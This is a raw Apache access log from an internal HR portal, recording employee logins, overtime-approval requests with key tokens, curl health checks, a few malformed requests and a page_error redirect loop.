192.168.11.222 - - [05/Sep/2025:11:18:04 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250754.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.222 - - [05/Sep/2025:11:18:04 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250754.jpg HTTP/1.1" 404 244
192.168.12.33 - - [05/Sep/2025:11:23:14 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.12.33 - - [05/Sep/2025:11:23:14 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [05/Sep/2025:11:23:15 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.12.33 - - [05/Sep/2025:11:23:15 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [05/Sep/2025:11:23:18 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.12.33 - - [05/Sep/2025:11:23:18 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [05/Sep/2025:11:23:18 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [05/Sep/2025:11:23:18 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.12.33 - - [05/Sep/2025:11:23:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [05/Sep/2025:11:23:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
100.64.0.1 - - [05/Sep/2025:11:23:32 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:11:23:32 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:11:24:14 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:11:24:14 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:11:24:22 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [05/Sep/2025:11:24:22 +0800] "\x16\x03\x01" 501 205 "-" "-"
100.64.0.1 - - [05/Sep/2025:11:45:13 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:11:45:13 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:11:45:26 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:11:45:26 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:11:46:50 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:11:46:50 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
192.168.12.33 - - [05/Sep/2025:11:47:18 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.12.33 - - [05/Sep/2025:11:47:18 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [05/Sep/2025:11:47:19 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.12.33 - - [05/Sep/2025:11:47:19 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [05/Sep/2025:11:47:22 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.12.33 - - [05/Sep/2025:11:47:22 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [05/Sep/2025:11:47:22 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.12.33 - - [05/Sep/2025:11:47:22 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [05/Sep/2025:11:47:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.12.33 - - [05/Sep/2025:11:47:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
100.64.0.1 - - [05/Sep/2025:11:50:05 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:11:50:05 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:12:01:17 +0800] "HEAD /ehr/mgr/batchapprove.php?key=7C6666DC02DC78F9A64D6B8D7F57DEE2C0DCBC7024BBC416F2947D06F2FA7D111264F97DBDF43D34A555DD6E78E558DA HTTP/1.1" 302 - "-" "-"
100.64.0.1 - - [05/Sep/2025:12:01:17 +0800] "HEAD /ehr/mgr/batchapprove.php?key=7C6666DC02DC78F9A64D6B8D7F57DEE2C0DCBC7024BBC416F2947D06F2FA7D111264F97DBDF43D34A555DD6E78E558DA HTTP/1.1" 302 -
100.64.0.1 - - [05/Sep/2025:12:01:18 +0800] "HEAD /ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F9A64D6B8D7F57DEE2C0DCBC7024BBC416F2947D06F2FA7D111264F97DBDF43D34A555DD6E78E558DA HTTP/1.1" 200 - "-" "-"
100.64.0.1 - - [05/Sep/2025:12:01:18 +0800] "HEAD /ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F9A64D6B8D7F57DEE2C0DCBC7024BBC416F2947D06F2FA7D111264F97DBDF43D34A555DD6E78E558DA HTTP/1.1" 200 -
192.168.40.68 - - [05/Sep/2025:12:01:20 +0800] "GET /ehr/mgr/batchapprove.php?key=7C6666DC02DC78F9A64D6B8D7F57DEE2C0DCBC7024BBC416F2947D06F2FA7D111264F97DBDF43D34A555DD6E78E558DA HTTP/1.1" 302 -
192.168.40.68 - - [05/Sep/2025:12:01:20 +0800] "GET /ehr/mgr/batchapprove.php?key=7C6666DC02DC78F9A64D6B8D7F57DEE2C0DCBC7024BBC416F2947D06F2FA7D111264F97DBDF43D34A555DD6E78E558DA HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.68 - - [05/Sep/2025:12:01:20 +0800] "GET /ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F9A64D6B8D7F57DEE2C0DCBC7024BBC416F2947D06F2FA7D111264F97DBDF43D34A555DD6E78E558DA HTTP/1.1" 200 36155
192.168.40.68 - - [05/Sep/2025:12:01:20 +0800] "GET /ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F9A64D6B8D7F57DEE2C0DCBC7024BBC416F2947D06F2FA7D111264F97DBDF43D34A555DD6E78E558DA HTTP/1.1" 200 36155 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.68 - - [05/Sep/2025:12:01:25 +0800] "POST /ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F9A64D6B8D7F57DEE2C0DCBC7024BBC416F2947D06F2FA7D111264F97DBDF43D34A555DD6E78E558DA HTTP/1.1" 302 128
192.168.40.68 - - [05/Sep/2025:12:01:25 +0800] "POST /ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F9A64D6B8D7F57DEE2C0DCBC7024BBC416F2947D06F2FA7D111264F97DBDF43D34A555DD6E78E558DA HTTP/1.1" 302 128 "http://hcp.maglayers.com.cn:8088/ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F9A64D6B8D7F57DEE2C0DCBC7024BBC416F2947D06F2FA7D111264F97DBDF43D34A555DD6E78E558DA" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.68 - - [05/Sep/2025:12:01:25 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131083%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131083&target=iframe HTTP/1.1" 302 108 "http://hcp.maglayers.com.cn:8088/ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F9A64D6B8D7F57DEE2C0DCBC7024BBC416F2947D06F2FA7D111264F97DBDF43D34A555DD6E78E558DA" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.68 - - [05/Sep/2025:12:01:25 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131083%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131083&target=iframe HTTP/1.1" 302 108
192.168.40.68 - - [05/Sep/2025:12:01:26 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F9A64D6B8D7F57DEE2C0DCBC7024BBC416F2947D06F2FA7D111264F97DBDF43D34A555DD6E78E558DA" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.68 - - [05/Sep/2025:12:01:26 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806
100.64.0.1 - - [05/Sep/2025:12:11:20 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:12:11:20 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:12:15:52 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:12:15:52 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:12:24:38 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:12:24:38 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:12:27:04 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:12:27:04 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:12:30:12 +0800] "\x03" 501 203 "-" "-"
100.64.0.1 - - [05/Sep/2025:12:30:12 +0800] "\x03" 501 203
100.64.0.1 - - [05/Sep/2025:12:34:39 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:12:34:39 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:12:40:42 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:12:40:42 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:13:03:08 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:13:03:08 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:13:04:23 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:13:04:23 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:13:04:37 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA17FC3E61DBD5A509A7C844856301FFDF7C7F6915537F95449DDF34D8634732F5C57A7DCE87644C4445B08465AEC82319B8BEA03634E54E363 HTTP/1.1" 200 - "-" "-"
100.64.0.1 - - [05/Sep/2025:13:04:37 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA17FC3E61DBD5A509A7C844856301FFDF7C7F6915537F95449DDF34D8634732F5C57A7DCE87644C4445B08465AEC82319B8BEA03634E54E363 HTTP/1.1" 200 -
100.64.0.1 - - [05/Sep/2025:13:04:39 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA17FC3E61DBD5A509A7C844856301FFDF7C7F6915537F95449DDF34D8634732F5C57A7DCE87644C4445B08465AEC82319B8BEA03634E54E363 HTTP/1.1" 200 4166
100.64.0.1 - - [05/Sep/2025:13:04:39 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA17FC3E61DBD5A509A7C844856301FFDF7C7F6915537F95449DDF34D8634732F5C57A7DCE87644C4445B08465AEC82319B8BEA03634E54E363 HTTP/1.1" 200 4166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
100.64.0.1 - - [05/Sep/2025:13:04:40 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240
100.64.0.1 - - [05/Sep/2025:13:04:40 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA17FC3E61DBD5A509A7C844856301FFDF7C7F6915537F95449DDF34D8634732F5C57A7DCE87644C4445B08465AEC82319B8BEA03634E54E363" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.178 - - [05/Sep/2025:13:05:24 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8826
192.168.11.178 - - [05/Sep/2025:13:05:24 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.178 - - [05/Sep/2025:13:05:27 +0800] "POST /ehr/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.178 - - [05/Sep/2025:13:05:27 +0800] "POST /ehr/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.178 - - [05/Sep/2025:13:05:28 +0800] "GET /ehr/ess/redirect.php HTTP/1.1" 200 7217
192.168.11.178 - - [05/Sep/2025:13:05:28 +0800] "GET /ehr/ess/redirect.php HTTP/1.1" 200 7217 "http://192.168.1.83:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.178 - - [05/Sep/2025:13:05:29 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10550
192.168.11.178 - - [05/Sep/2025:13:05:29 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10550 "http://192.168.1.83:8088/ehr/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.178 - - [05/Sep/2025:13:05:36 +0800] "GET /ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 47594 "http://192.168.1.83:8088/ehr/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.178 - - [05/Sep/2025:13:05:36 +0800] "GET /ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 47594
192.168.11.178 - - [05/Sep/2025:13:05:42 +0800] "POST /ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.178 - - [05/Sep/2025:13:05:42 +0800] "POST /ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 -
192.168.11.178 - - [05/Sep/2025:13:05:43 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131084%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131084&target=iframe HTTP/1.1" 302 -
192.168.11.178 - - [05/Sep/2025:13:05:43 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131084%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131084&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.178 - - [05/Sep/2025:13:05:43 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.178 - - [05/Sep/2025:13:05:43 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.178 - - [05/Sep/2025:13:05:43 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.178 - - [05/Sep/2025:13:05:43 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.178 - - [05/Sep/2025:13:05:44 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.178 - - [05/Sep/2025:13:05:44 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.178 - - [05/Sep/2025:13:05:44 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.178 - - [05/Sep/2025:13:05:44 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.178 - - [05/Sep/2025:13:05:44 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.178 - - [05/Sep/2025:13:05:44 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.178 - - [05/Sep/2025:13:05:44 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.178 - - [05/Sep/2025:13:05:44 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.178 - - [05/Sep/2025:13:05:44 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
